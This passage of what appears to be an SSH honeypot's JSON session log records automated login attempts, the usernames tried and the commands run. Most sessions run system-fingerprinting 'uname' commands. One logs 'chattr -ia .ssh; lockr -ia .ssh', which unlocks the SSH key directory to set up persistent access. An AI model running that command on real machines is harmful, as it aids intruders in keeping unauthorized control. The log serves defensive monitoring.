  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d24eb0d5-09a3-40ef-90ab-a0df768c3682",
  "name": "nameless-gritty-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34996,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:58.828015+00:00",
  "ended_at": "2026-08-27T02:00:01.939404+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "683eba4b-5d14-49ed-99a4-0b28bff42b94",
  "name": "northern-reedy-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34286,
  "username": "sonar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 339,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:58.195354+00:00",
  "ended_at": "2026-08-27T02:00:06.590722+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "31bed514-eb14-445e-affa-0d150730fd29",
  "name": "regal-ancient-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59054,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:57.823634+00:00",
  "ended_at": "2026-08-27T01:59:58.658719+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7574e25d-272e-4a43-b127-071c40e66c40",
  "name": "kindly-whispering-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:55.777966+00:00",
  "ended_at": "2026-08-27T02:00:01.832915+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c4b49112-c46f-468a-b521-06f402940d58",
  "name": "spirited-grassy-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59808,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:54.311756+00:00",
  "ended_at": "2026-08-27T01:59:56.331128+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f68f468b-68cf-4a1d-b1e8-beede480d5e5",
  "name": "zealous-clever-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56828,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:54.236791+00:00",
  "ended_at": "2026-08-27T02:00:01.940490+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "fae824e1-f50b-4dea-abac-9f5cbb35203c",
  "name": "dusky-nautical-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 59052,
  "username": "ranga",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:53.262055+00:00",
  "ended_at": "2026-08-27T01:59:56.595540+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fee25386-0b9f-4f94-adae-084bfbe8ec69",
  "name": "weathered-plucky-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56716,
  "username": "ranga",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 353,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:49.893715+00:00",
  "ended_at": "2026-08-27T01:59:56.597170+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "412bd2fb-2959-406a-92f6-84609e64fb0f",
  "name": "tidal-diligent-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34722,
  "username": "dspace",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:42.428513+00:00",
  "ended_at": "2026-08-27T01:59:45.194376+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c071b4d3-1c95-40d9-a897-264ff7447d03",
  "name": "buoyant-western-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36914,
  "username": "dspace",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:37.016427+00:00",
  "ended_at": "2026-08-27T01:59:45.195174+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "041ac485-a07c-4ec4-84e4-c98db319f082",
  "name": "lawful-quaint-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 45820,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:29.742542+00:00",
  "ended_at": "2026-08-27T01:59:31.434031+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69daac11-4fc7-4144-b9ec-19d1f0ca7c2f",
  "name": "lively-diligent-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 45784,
  "username": "labuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:26.262802+00:00",
  "ended_at": "2026-08-27T01:59:28.990504+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59dd970f-65e0-4a95-9a81-d9ec3db260b0",
  "name": "smoky-orderly-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51054,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:24.564558+00:00",
  "ended_at": "2026-08-27T01:59:31.435061+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "f612ec27-0e1b-4920-a520-ebde92b7bb1c",
  "name": "jagged-fickle-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38778,
  "username": "labuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:22.910499+00:00",
  "ended_at": "2026-08-27T01:59:28.991501+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "836861a0-50bf-4237-ade0-e9fd24e99dc9",
  "name": "brave-tawny-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 37254,
  "username": "dolphinscheduler",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:59:05.829742+00:00",
  "ended_at": "2026-08-27T01:59:08.608446+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f41d070f-1bcd-445a-8085-307013855384",
  "name": "oaken-orderly-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 341,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:03.883946+00:00",
  "ended_at": "2026-08-27T01:59:07.524611+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e22991a-e4d1-4444-b7dd-8e1b42113824",
  "name": "foggy-honest-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59720,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 403,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:00.729413+00:00",
  "ended_at": "2026-08-27T01:59:05.798952+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5d2dbad1-ec43-43ad-b08e-0983dc41c9c0",
  "name": "marbled-snowy-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 32922,
  "username": "dolphinscheduler",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:59:00.437115+00:00",
  "ended_at": "2026-08-27T01:59:08.609508+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1669
 },
 {
  "id": "25062bfd-982c-4626-bed9-6c151beffaeb",
  "name": "feathered-arctic-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 56802,
  "username": "web",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:58:50.575026+00:00",
  "ended_at": "2026-08-27T01:58:52.911152+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "231f5637-c9ee-411d-ba9b-cb04081d0790",
  "name": "gallant-nautical-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 56796,
  "username": "test2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:58:50.188483+00:00",
  "ended_at": "2026-08-27T01:58:52.475708+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d79fd5a6-e9b1-410a-8a1a-045912ed8b86",
  "name": "icy-balmy-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57924,
  "username": "web",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:46.822418+00:00",
  "ended_at": "2026-08-27T01:58:52.911842+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "cf5e3f29-23ca-48ef-92d3-7060288857f8",
  "name": "peaty-lawful-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 56740,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:58:45.796948+00:00",
  "ended_at": "2026-08-27T01:58:48.424421+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e1d2c48-a58b-4a06-9fb2-f32caac8f48c",
  "name": "velvet-mighty-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 32864,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:45.613080+00:00",
  "ended_at": "2026-08-27T01:58:49.689685+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ddf22fb3-8f7c-4bdd-b1ab-0eddd1ead206",
  "name": "shifting-pewter-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44240,
  "username": "test2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:45.135577+00:00",
  "ended_at": "2026-08-27T01:58:52.476964+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "81ba15fd-fdb5-4d94-9247-139ab5bf753b",
  "name": "sooty-fickle-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 36930,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:58:40.008620+00:00",
  "ended_at": "2026-08-27T01:58:42.158909+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e3b52ea-c66c-43bb-9c5a-2bf4e76bc93c",
  "name": "rustic-shifting-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44176,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:39.581861+00:00",
  "ended_at": "2026-08-27T01:58:48.432352+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "1e1441c8-3640-4b38-b98c-ea7b6482ae81",
  "name": "silent-eager-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43020,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 344,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:33.937175+00:00",
  "ended_at": "2026-08-27T01:58:42.160117+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "7cb5fe0d-f983-43a1-8d4a-f65c1f26d965",
  "name": "prickly-somber-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 363,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:14.784710+00:00",
  "ended_at": "2026-08-27T01:58:20.615723+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3fc49423-a97d-4fe3-8c4d-1d0143cf8476",
  "name": "cobalt-curious-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:09.100602+00:00",
  "ended_at": "2026-08-27T01:58:14.368083+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "33e4eca0-eb60-41cd-8033-a32ff657d3ac",
  "name": "upland-prickly-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 32952,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:58:03.381240+00:00",
  "ended_at": "2026-08-27T01:58:05.989262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "628ca7d4-f6de-4181-af81-59cee531170f",
  "name": "murky-jovial-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41156,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:58:01.281080+00:00",
  "ended_at": "2026-08-27T01:58:07.242001+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "62961374-1468-400c-96f6-1af6c3436d75",
  "name": "earnest-noble-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37968,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:57.251730+00:00",
  "ended_at": "2026-08-27T01:58:05.990627+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "ce4f96cd-13de-4627-9ff1-fa8929ec2105",
  "name": "coral-thawing-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38058,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:56.722405+00:00",
  "ended_at": "2026-08-27T01:58:00.680468+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "67aa8826-1a1d-4202-a696-7036dd87486f",
  "name": "wooded-kindly-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57922,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:57:49.785665+00:00",
  "ended_at": "2026-08-27T01:57:53.579634+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3265e830-fd46-45ab-98bf-82776c85edd5",
  "name": "lofty-sleepy-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54580,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:47.283532+00:00",
  "ended_at": "2026-08-27T01:57:52.523477+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "2fad9b74-cccd-4082-ab05-efd93534e59c",
  "name": "airy-cheerful-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54634,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 409,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:44.444782+00:00",
  "ended_at": "2026-08-27T01:57:53.578422+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "934e052d-4922-411b-82a7-e11876c39f53",
  "name": "nautical-electric-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60348,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:28.609705+00:00",
  "ended_at": "2026-08-27T01:57:32.385254+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "504109e7-9e24-4cef-9567-44f7fb0bbe75",
  "name": "seaward-early-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:23.976855+00:00",
  "ended_at": "2026-08-27T01:57:27.233148+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0f17b007-3a07-479d-b24c-8a31b20cc4dc",
  "name": "vaulted-silent-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 46684,
  "username": "onkar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:57:23.479726+00:00",
  "ended_at": "2026-08-27T01:57:26.445888+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6fbd895-e8fd-42d2-a1d7-4bbf17e39e49",
  "name": "vaulted-curious-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46556,
  "username": "onkar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:19.379516+00:00",
  "ended_at": "2026-08-27T01:57:26.444803+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "afeeac3c-a60d-4bef-9234-421cd5494019",
  "name": "tangled-cunning-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:08.447577+00:00",
  "ended_at": "2026-08-27T01:57:13.139094+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f84b496-5c89-47c9-b585-87bbb34b6e9b",
  "name": "rugged-idle-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 42640,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:57:01.767425+00:00",
  "ended_at": "2026-08-27T01:57:02.861508+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "a54913b6-8c4a-407c-9ea3-f683a6021f75",
  "name": "freckled-jaunty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 37952,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:55.685685+00:00",
  "ended_at": "2026-08-27T01:56:58.587428+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2945398-66a0-43c4-b8e1-6391e1229c65",
  "name": "solar-gritty-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 37946,
  "username": "dmdba",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:54.127229+00:00",
  "ended_at": "2026-08-27T01:56:57.763329+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bc6a51b-6ea9-4ab0-90fd-6c64057b46ed",
  "name": "hollow-fierce-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53146,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:52.755969+00:00",
  "ended_at": "2026-08-27T01:56:56.706193+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6574e0ea-8f8b-4828-aebc-fdfe6ab7d0a9",
  "name": "jagged-rambling-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43764,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:51.726757+00:00",
  "ended_at": "2026-08-27T01:56:58.586053+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "d670bcbf-90d5-4fbb-8d81-57ecd4d6fe77",
  "name": "meadow-hidden-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49912,
  "username": "dmdba",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 389,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:50.174386+00:00",
  "ended_at": "2026-08-27T01:56:57.764363+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "7388654e-5c00-4bc7-9d72-24cbe979a40a",
  "name": "stoic-lunar-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 54584,
  "username": "packer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:49.660097+00:00",
  "ended_at": "2026-08-27T01:56:51.909003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35cbb8b6-0c8f-4370-9305-3529bc2cb4a5",
  "name": "deft-rugged-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43704,
  "username": "packer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:56:45.951109+00:00",
  "ended_at": "2026-08-27T01:56:51.910230+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "c9ea8523-1e01-4868-8cd8-61bbb9fd01b1",
  "name": "marine-slender-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 42668,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:56:43.100549+00:00",
  "ended_at": "2026-08-27T01:56:44.761726+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bcf5661-b60d-4baf-a052-5c7d8e1c4e70",
  "name": "solar-quaint-oriole",
  "protocol": "ssh",
  "channel_kind": null,
